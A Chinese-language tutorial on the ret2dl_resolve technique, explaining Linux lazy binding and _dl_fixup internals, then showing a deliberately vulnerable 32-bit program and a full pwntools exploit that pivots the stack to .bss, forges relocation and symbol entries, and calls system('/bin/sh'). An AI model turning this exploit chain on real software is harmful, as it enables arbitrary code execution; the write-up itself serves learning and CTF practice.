技术讨论 | Ret2dl_resolve漏洞利用分析
前言
ret2dl_resolve是linux下一种利用linux系统延时绑定(Lazy Binding)机制的一种漏洞利用方法，其主要思想是利用_dl_runtime_resolve()函数写GOT表的操作，改写写入GOT的内容，使其成为getshell的函数值。
背景知识
在了解利用方法之前必须对延时绑定机制详细了解。其具体的方法可以参照《程序员的自我修养——链接、装载与库》一书7.4节。
为了实现少量时间换取大量空间以及方便程序维护的目的，Linux中大量程序抛弃了静态链接的方式，转而投向动态链接 的怀抱。但是由于在程序在运行中不需要动态共享库(.so文件)中的所有函数，所以很多函数自始至终是没有被使用过的。如果一股脑将动态共享库中所有函数都装载进程序的运行空间，这是十分消耗资源的。于是为了节省资源，Linux在程序第一次调用函数时才会将其装载程序。
这里用到了PLT表的结构，细心的小伙伴可能注意过，PLT表中每个函数的第一项都是一个jmp至GOT表的操作。那么这个PLT的作用又是什么呢，为什么不直接使用GOT表呢。在jmp指令下面，还有push和另一个jmp指令，这些指令又是为什么存在在这里呢。
首先看图，此程序是运行在linux下的32位程序，此时的程序的状态是刚刚进入main函数，还未对write函数进行调用：
这便是一个程序中PLT表write函数对应表项的内容。此时第一条指令跳转的目的地便是GOT表中write函数对应的表项，查看这个地址中的内容：
可以看到，实际上GOT表中在一开始时，并没有存放函数的真实地址，而是原来PLT表write函数对应表项中push 0×20指令的位置，也就是说，当函数第一次调用write函数时，实际上并未直接到底libc中write函数的真正地址，而是绕了一圈回到了PLT表中，将0×20压入栈中，之后跳转至0×8048380处。
在这里，程序又将一个参数压栈，然后跳转至0x804a008处，而这个地址中的函数便是_dl_runtime_resolve()函数。
而之前压入栈中的两个参数便会作为参数供_dl_runtime_resolve()函数调用：_dl_runtime_resolve(link_map, reloc_arg)，而其中最重要的函数便是_dl_fixup函数，这里的0×20便是reloc_arg，也就是我们在漏洞利用中需要注意控制的内容。
这里0×20的含义是什么呢？这里的0×20偏移是指与.rel.plt表的偏移，readelf -S binary 可以查看ELF文件中段信息。
这里的0×20的偏移处便是reloc的位置
里面两条信息，一个是write的GOT表，另一个下面分析：
查看下_dl_fixup函数的内容：
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址，也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
函数中遇到了reloc结构体中的r_info，也就是reloc中的0×607，这里低字节的0×07表示R_TYPE，只要是7便好，而高字节的0×6则是R_SYM，是用来找到.dynsym中的条目的。这里的6代表了偏移：
这里的write的Num为6，而找到这个地址的方法就是利用.dynsym的地址加上0×10*Num：
这里便是write对应的符号信息，此符号信息有结构体的定义
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
图中的0x4c便是st_name，而0×12便对应了st_info。那么st_name为什么是个数字呢。实际上，0x4c也是一个偏移，他是相对于.dynstr段的偏移。
最后，_dl_fixup函数会利用 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); 最终实现调取libc中的write地址：
而ret2dl_resolve就是修改reloc的偏移，构造fake_reloc和fake_Elf32_Sym,使其指向任意的函数。
漏洞利用方法
现在总结下上述知识和漏洞利用方法。
_dl_runtime_resolve()通过两个参数在libc中寻找函数地址，而我们更加关注的是第二个参数也就是上面write的0×20，0×20将_dl_runtime_resolve()带到了reloc的位置，reloc中有2个重要信息，一个是函数的got表地址，另一个是r_info。r_info的高位是.dynsym中的条目，.dynsym的地址加上0×10*Num，得到函数对应的符号信息，而修改其中的st_name偏移，就可以伪造函数名称，从而实现漏洞利用，我们将其过程反过来，根据漏洞利用顺序，实现漏洞利用：
1、在一个地址上写入”system”；
2、伪造reloc，其中r_info根据.dynsym+0×10*NUM = address of(Elf32_Sym )，计算出r_info；
3、伪造Elf32_Sym ，其中st_name为.dynstr+st_name = address of(“system”)；
4、调用dl_runtime_resolve()的参数，修改其参数，使其指向伪造的reloc。
漏洞利用实例
首先，先看一个简单的ret2dl_resolve类型题目源码：
//gcc -m32 -fno-stack-protector -no-pie bof.c -o test
#include
#include
#include
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "ret2dl_resolve\n";
setbuf(stdout, buf);
vuln();
return 0;
}
这一题目开启了NX，关闭了其他保护，在没有leak函数的情况下，可以通过爆破GOT表上的libc进行漏洞利用，当然，这里就可以利用ret2dl_resolve进行漏洞利用了。根据我们上面的分析，开始构造吧
在一个地址上写入”system”
由于我们需要一个不变的地址，所以，我们需要在bss段上填写这一数据，所以，我们将栈迁移至bss段上，这里，我们还要考虑后续还要read。
利用栈溢出，ROP，开始迁移栈，常规操作：
pop_ebp = 0x080485bb # pop ebp ; ret ppp = 0x080485b9 # pop esi ; pop edi ; pop ebp ; ret leave = 0x08048405 # leave ; ret bss = 0x0804A020 payload = "A"*0x70 payload += p32(bin.plt['read']) + p32(ppp) payload += p32(0)+p32(bss)+p32(0x100) payload += p32(pop_ebp)+p32(bss)+p32(leave) sl(payload)
迁栈成功，我们再在bss段上写入ROP，并开始下一步工作。
因为我们的ROP中有read函数，所以就可以在bss段中写入system。所以，我们接下来将程序流程指向plt表中的最后一条指令，即_dl_runtime_resolve()的GOT表，也就是最后一步，执行_dl_runtime_resolve()。
payload2 = "AAAA" payload2 += p32(0x804835B) + p32(reloc_arg) payload2 += (......) payload2 += 'system'
伪造reloc
构建reloc，第一项是read的GOT表，第二项是r_info
reloc = p32(bin.got['read'])+p32(r_info)
计算r_info中偏移：
r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7
伪造Elf32_Sym：
查看.dynstr位置
之后，构造Elf32_Sym
r_name = address of ("system") - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0)
调用dl_runtime_resolve()
总结一下，上述的情况：
r_name = address of ("system") - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0)
r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7
reloc = p32(bin.got['read'])+p32(r_info)
payload2 = p32(0x804835B) + p32(reloc_arg)
payload2 += (......)
payload2 += 'system'
那么只需要确认上述的几个地址即可，将其安排下去：
r_name = address of ("system") - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0)
r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7
reloc = p32(bin.got['read'])+p32(r_info)
payload2 = "AAAA"
payload2 += p32(0x804835B) + p32(reloc_arg)
payload2 += "AAAA"
payload2 += p32(address of "/bin/sh")
payload2 += reloc
payload2 += Elf32_Sym
payload2 += 'system\x00'
payload2 += '/bin/sh\x00'
那么此时，system的地址为 bss+13*4 ，而Elf32_Sym的地址为 bss+8*4 ,/bin/sh的地址为 bss+13*4+7
得到：
r_name = bss+13*4 - 0x804824c Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) r_info = (((bss+8*4 - 0x80481cc)/0x10) << 8 )+0x7 reloc = p32(bin.got['read'])+p32(r_info) payload2 = "AAAA" payload2 += p32(0x804835B) + p32(reloc_arg) payload2 += "AAAA" payload2 += p32(bss+13*4+7) payload2 += reloc payload2 += Elf32_Sym payload2 += 'system\x00' payload2 += '/bin/sh\x00'
查看.rel.plt位置
所以reloc_arg=bss+5*4 – 0x80482f4
最后，得到全部exp：
#coding=utf-8
##########################################################################
# File Name: pwn_exp.py
# Author: sofr
# mail: sofr@foxmail.com
# Created Time: Wed Apr 1 10:24:12 2020
#########################################################################
from pwn import *
import sys
context.log_level = 'debug'
r = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sf = lambda x,y:p.sendafter(x,y)
slf = lambda x,y:p.sendlineafter(x,y)
l32_addr = lambda x:u32(x.ljust(0x4,'\x00'))
drop_end = lambda x,y:x.split(y)[0]
getshell = lambda :p.interactive()
binary='./boo'
global p
bin = ELF(binary)
if len(sys.argv) > 1:
p=remote(sys.argv[1],int(sys.argv[2]))
else:
p=process(binary)
pop_ebp = 0x080485bb
ppp = 0x080485b9
leave = 0x08048405
bss = 0x0804A020+0x800
payload = "A"*0x70
payload += p32(bin.plt['read']) + p32(ppp)
payload += p32(0)+p32(bss)+p32(0x100)
payload += p32(pop_ebp)+p32(bss)+p32(leave)
sl(payload)
reloc_arg=bss+5*4 - 0x80482f4
r_name = bss+13*4 - 0x804824c
Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0)
r_info = (((bss+8*4 - 0x80481cc)/0x10) << 8 )+0x7
reloc = p32(bin.got['read'])+p32(r_info)
payload2 = 'AAAA'
payload2 += p32(0x804835B) + p32(reloc_arg)
payload2 += 'AAAA'
payload2 += p32(bss+13*4+7)
payload2 += reloc
payload2 += Elf32_Sym
payload2 += 'system\x00'
payload2 += '/bin/sh\x00'
sl(payload2)
getshell()
getshell：
About The Author
